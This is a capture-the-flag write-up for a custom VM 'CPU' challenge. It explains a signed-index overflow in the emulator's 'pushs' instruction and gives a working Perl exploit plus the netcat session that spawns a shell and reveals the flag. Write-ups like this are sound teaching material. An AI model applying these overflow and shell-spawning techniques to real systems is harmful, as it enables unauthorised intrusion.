We received a new CPU model, you are to make a vulnerability check. Enter the CPU secret code as a proof. [ ctf.ifmo.ru:3123 ] + binary
Here we have a VM with a few instuctions: nop, add, xor, mul, push, pop, loop, pops, pushs and core.
The most intresting is core – it spawns a shell, if the whole memory (256 bytes) is equal to a key, which is generated from ENV{“CPUCODE”}. This key is placed before the stack (which is actually a queue – just compare pop and push instructions) and stack grows to the key. So we have to overflow the stack, bypassing checks, or to read the key – to overflow the stack pointer.
A good idea is that vulnerability is somewhere in stack instructions – push/pushs or pop/pops. And it’s true – pushs is vulnerable:
void pushs(unsigned char strlen) { int result; signed int i; char *str; int saved_ax; saved_ax = (unsigned char)v_ax; str = &code[v_eip - 1]; //points to string after 'pushs' opcode and strlen v_eip += strlen - 1; if ( strlen + slen > 256 ) puts("Stack overflow"); else { for ( i = 1; i <= strlen; ++i ) { *(stack + stack_pointer - i) = str[i - 1]; ++slen; } stack_pointer -= strlen; } fflush(stdout); result = saved_ax; v_ax = saved_ax; }
The stack (queue) works due to “char” cycling. But here a computed index of stack’s byte has type ‘signed int’ because it isn’t stored in variables. Also, stack_pointer is not modified after each byte. So we can get something like *(stack + 0 – i) = str[i-1], and overwrite a large part of the key.
Exploit is rather simple:
#!/usr/bin/perl print "\x08\xff"; #pushs \x00 x255 print "\x00"x255; # We have to do "pops", because slen(len of data in queue) # is checked every time print "\x07\x00\xff"; #pops 255 # A first byte of the key is probably \xff # (if CPUCODE is not very long) print "\x08\x01"; #pushs print "\xff"; print "\x07\x00\x01"; #pops # Now mem is (ff 00 00 .. 00) # Overwrite last 255 bytes # of the key with \x00 print "\x08\xff"; #pushs print "\x00"x255; # "core" instruction print "\x09\x00\x00\n";
Use like this:
$ (perl solve.pl; cat) | nc ctf.ifmo.ru 3123 Initializing CPU Running program Entering core mode echo $CPUCODE EMUL4T0RZ_HAX0RZ exit
Task solved.
1 comment
writeup for jailbreak and brainfffuuuuu http://www.kb.csu.ru/index.php/battle-news/ctf/252-leet-more-ctf2010